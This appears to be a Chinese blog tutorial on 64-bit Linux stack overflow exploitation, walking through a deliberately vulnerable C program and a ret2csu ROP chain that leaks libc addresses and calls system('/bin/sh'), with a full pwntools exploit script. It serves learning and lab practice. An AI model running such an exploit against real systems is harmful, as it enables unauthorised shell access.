linux 64位棧溢位分析
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
gcc -fno-stack-protector -o 1 1.c
開啟ASLR:
首先獲取幾個變數: main函式地址:sudo -s echo 2 > /proc/sys/kernel/randomize_va_space exit
[email protected]:~/test$ objdump -d 1 | grep main
400410: e8 4b 00 00 00 callq 400460 <[email protected]+0x10>
0000000000400450 <[email protected]>:
400494: e8 b7 ff ff ff callq 400450 <[email protected]>
0000000000400587 <main>:
[email protected]:~/test$
可以看到main函式地址是0x400587。
.bss段的首地址:
[email protected]:~/test$ readelf -S 1 | grep bss
[26] .bss NOBITS 0000000000601040 00001040
[email protected]:~/test$
可以看到.bss段的首地址是0x601040
介紹一下linux64位的函式傳參方式,是通過rdi rsi rdx rcx r8 r9依次入棧的 (Windows64位是rcx rdx r8 r9依次入棧的)。所以如果需要呼叫函式,就需要控制rdi rsi等暫存器,而不僅僅是控制棧了。
這就需要尋找相關程式碼了,在libc.so中有現成的。
使用命令objdump -D 1檢視檔案1中的彙編程式碼。
直接檢視兩處關鍵程式碼:
1.
400616: 48 83 c4 08 add $0x8,%rsp 40061a: 5b pop %rbx 40061b: 5d pop %rbp 40061c: 41 5c pop %r12 40061e: 41 5d pop %r13 400620: 41 5e pop %r14 400622: 41 5f pop %r15 400624: c3 retq
2. (此處跟一步一步學ROP之linux_x64篇中的略有不同)
400600: 4c 89 ea mov %r13,%rdx
400603: 4c 89 f6 mov %r14,%rsi
400606: 44 89 ff mov %r15d,%edi
400609: 41 ff 14 dc callq *(%r12,%rbx,8)
40060d: 48 83 c3 01 add $0x1,%rbx
400611: 48 39 eb cmp %rbp,%rbx
400614: 75 ea jne 400600 <__libc_csu_init+0x40>
先分析第一處,咱慢慢分析
如圖所示,就是講棧上的資料放到指定暫存器中。 在看第二處,如果此時rbx=0,r12可以控制 就可以調到任意地址執行程式碼。後邊有個判斷如果rbp等於rbx,那麼就會繼續執行第一次的程式碼。 通過以上的介紹,可以看到通過精心的佈置棧中的資料,便可以控制rbx,rbp,r12-r15暫存器,通過第二處的轉化,即可以控制rdx、rsi、edi暫存器,最後跳轉到r12暫存器處,執行程式碼。 我們先構造payload1,利用write()輸出write在記憶體中的地址。注意我們的gadget是call qword ptr [r12+rbx*8],所以我們應該使用write.got的地址而不是write.plt的地址。並且為了返回到原程式中,重複利用buffer overflow的漏洞,我們需要繼續覆蓋棧上的資料,直到把返回值覆蓋成目標函式的main函式為止。
#rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4) payload1 = "\x00"*136 payload1 += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main)
按照我剛才介紹的,此時棧中的資料如下:
可以看到經過這樣處理之後,r15=8,r14=got_write,r13=1,r12=got_write,rbp=1,rbx=0, 在經過第二處程式碼處理,rdx=1,rsi=got_write,edi=8,call [r12+rbx*8]=call[got_write],此時就可以將write的函式地址打印出來了。(函式引數通過rdi rsi rdx傳遞了) 然後rbx加1,與rbp=1比較,正好相等,跳轉沒有實現,繼續往下執行,由於下邊全是0,最後跳轉到函式main處繼續執行。 payload1分析完成。 通過偏移就可以計算出system函式的地址了。 繼續分析payload2,利用read()將system()的地址以及“/bin/sh”讀入到.bss段記憶體中。
#rdi= edi = r13, rsi = r14, rdx = r15 #read(rdi=0, rsi=bss_addr, rdx=16) payload2 = "\x00"*136 payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload2 += "\x00"*56 payload2 += p64(main) print "\n#############sending payload2#############\n" p.send(payload2) sleep(1) p.send(p64(system_addr)) p.send("/bin/sh\0") sleep(1)
跟上邊差不多就不分析了。 payload3:
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
即執行system("/bin/sh").system()的地址儲存在了.bss段首地址上,“/bin/sh”的地址儲存在了.bss段首地址+8位元組上。
最終exp:
#!/usr/bin/env python
from pwn import *
elf = ELF('1')
libc = ELF('libc.so')
p = process('./1')
#p = remote('127.0.0.1',10001)
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
main = 0x400587
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x41"*136
payload1 += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write)+p64(1)# pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x601040
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()
這段最終的exp跟參考文章的還是不一樣的,主要是第二段程式碼不一樣造成的,所以也進行了相應修改。 效果展示:
祝好!!!
相關推薦
linux 64位棧溢位分析
除錯環境是ubuntu16 64位 這次開啟了DEP、ASLR(知道libc.so情況下) 還是參考了《一步一步學ROP之linux_x64篇》這篇文章。 程式碼是1.c: #include <stdio.h> #include <stdlib.h&g
[原理分析]Linux下的棧溢位案例分析-GDB除錯操練[2]
摘要: 原版本中的問題主要在於除錯過程中,蠻力的痕跡太重,沒有很好地體現常用的除錯準則;本文在原版本的基礎上,融入參考文獻中提及的除錯原則,重新審視和操練該問題,希望儘量體現出除錯中常用的思維法則。 測試的平臺:1. ubuntu 9; gcc 4.4.1; G
使用VMware創建虛擬機及安裝Red Hat Linux 64位
mage 創建 使用 ges vmware img ado 64位 安裝 使用VMware創建虛擬機及安裝Red Hat Linux 64位
kali Linux 64位安裝python的gmpy2庫報錯
前段時間 網上找了個解密RSA的Python指令碼,興高采烈地拿到Kali Linux中跑一下,然後提示沒安裝gmpy2這個庫,接下來就遇到了一系列小的問題,大概說一下解決辦法。 1. 執行pip install gmpy2, 報錯,提示
在 RedHat Linux 64位系統中DB2 9.7的問題解決方法
DB2 安裝完成後準備啟動時,系統報錯,詳細資訊如下 [[email protected] ~]$ db2startdb2start: error while loading shared libraries: libaio.so.1: cannot open sh
Linux核心--網路棧實現分析(二)--資料包的傳遞過程(上)
本文分析基於Linux Kernel 1.2.13作者:閆明注:標題中的”(上)“,”(下)“表示分析過程基於資料包的傳遞方向:”(上)“表示分析是從底層向上分析、”(下)“表示分析是從上向下分析。上一篇博文中我們從巨集觀上分析了Linux核心中網路棧的初始化過程,這裡我們再
ORACLE 11G LINUX 64 位版 安裝中缺少必要包的解決方法(詳細)
oracle安裝過程中有缺少包的檢測,以下實踐檢測:os:linux redhat 6.6 64位libaio-0.3.105:os自帶libaio-0.3.107-10.el6.x86_64.rpm:rpm -ivh libaio-0.3.107-10.el6.x86_64
Linux核心--網路棧實現分析(十)--網路層之IP協議(下)
本文分析基於Linux Kernel 1.2.13作者:閆明注:標題中的”(上)“,”(下)“表示分析過程基於資料包的傳遞方向:”(上)“表示分析是從底層向上分析、”(下)“表示分析是從上向下分析。上篇博文分析傳輸層最終會呼叫函式ip_queue_xmit()函式,將傳送資料
nodejs在linux 64位上的安裝
下載:從 http://nodejs.org/download/ 下載適合的版本。 解壓:tar xzvf node-v0.10.19-linux-x64... 比如解壓到 /alidata/node-v0.10.19-linux-x64 設定環境變數: # vi /e
Oracle Linux(64位)安裝64位Oracle 11g遇到ins_ctx.mk問題
1. 用root,使用yum install -y compat-gcc* compat-glibc* compat-libstd* 然後retry即可 2. 在安裝linux X86-64的Oracle11g時,在連結過程中出現了這個錯誤。 詳細錯誤資訊為: E
淺析Linux 64位系統虛擬地址和實體地址的對映及驗證方法
# 虛擬記憶體 先簡單介紹一下作業系統中為什麼會有虛擬地址和實體地址的區別。因為Linux中有程序的概念,那麼每個程序都有自己的獨立的地址空間。 現在的作業系統都是64bit的,也就是說如果在使用者態的程序中建立一個64位的指標,那麼在這個程序中,這個指標能夠指向的範圍是0~0xFFFFFFFFFFFFFF
棧溢位攻擊系列:shellcode在linux x86 64位攻擊獲得root許可權(三)linux下程序中的多使用者
在linux程序中會存在兩個使用者狀態,一種是實際使用者ID, 一種是有效使用者ID 實際使用者ID uid, 就是我是誰,也就是你在操作時候的使用者ID, 通常你可以用命令id 來檢視自己的資訊 >id uid=1005(raintung) gid=100(use
棧溢位攻擊系列:shellcode在linux x86 64位攻擊獲得root許可權(二)shellcode
shellcode 是一組指令opcode, 是可以被程式執行,因為shellcode是要直接操作暫存器和函式,所以opcode 必須是十六進位制的形式。 既然是攻擊,那shellcode 主要的目的是呼叫系統函式,而在x86下 在linux下有兩種方式。 第一種是通過直接
linux漏洞分析入門筆記-棧溢位
ida7.0 ubuntu16.04 lts 0x00:環境配置 使用IDA遠端除錯Linux程式步驟如下: 1. 在進行遠端除錯之前需要對Linux平臺進行一些準備工作。在IDA的安裝目錄中的dbgsrv資料夾中,選擇linux_server或者linux_serverx64複製到需要除錯Linux
Jarvis OJ- [XMAN]level2/3_x64-Writeup——64位簡單棧溢位
兩道64位棧溢位,思路和之前的32位溢位基本一致,所以放在一起 在這兩道中體現的32位和64位的主要區別在於函式引數傳遞的方式 在32位程式執行中,函式引數直接壓入棧中 呼叫函式時棧的結構為:呼叫函式地址->函式的返回地址->引數n->引數n-1->···->引數1 在6
VMware Workstation 安裝Red Hat Enterprise Linux 6 64 位
鏈接 應該 ati 橋接 鏡像 比較 install 開始 rhel 1.首先下載需要安裝的鏡像,可以去官網下載,但需要註冊賬號,比較麻煩,我在網絡上找的,鏈接如下(供參考): rhel-server-6.4-x86_64-dvd.isohttp://pan.baidu
Linux系統查看系統是32位還是64位方法總結 in 創新實訓
-a 如果 rep 分享 查看 blog cpu 整理 ble 這篇博客是總結、歸納查看Linux系統是32位還是64位的一些方法,很多內容來自網上網友的博客。本篇只是整理、梳理這方面的知識,方便自己忘記的時候隨時查看。 方法1:getconf LONG_BIT 查看 如下
禪道linux安裝 64位
log 啟動服務 項目管理軟件 soft zentao lin art 啟動 我們 1.下載文件64位下載:wget http://dl.cnezsoft.com/zentao/9.0.1/ZenTaoPMS.9.0.1.zbox_64.tar.gz 32位下載:wget
SAS(統計分析軟件)下載 v9.4 64位版 附安裝教程
地圖 基於web 實用 生成 支持 三維 交付 包含 數據訪問 SAS9.4的全稱為Statistical Analysis System,這是一款強大實用的統計分析軟件,之前小編為大家提供過類似的spss,不過兩者的側重點不同。SAS9.4包含了BASE SAS模塊、ST
關於64位 windows&linux雙系統引導問題
start trac track uid too 處理 blog windows for 換了臺本子win7 64位,抽空做個雙系統,裝了下linux。 遇到開機問題:進linux可以正常使用,進win7花屏死機,初步估計是grub(此時的boot sector位grub)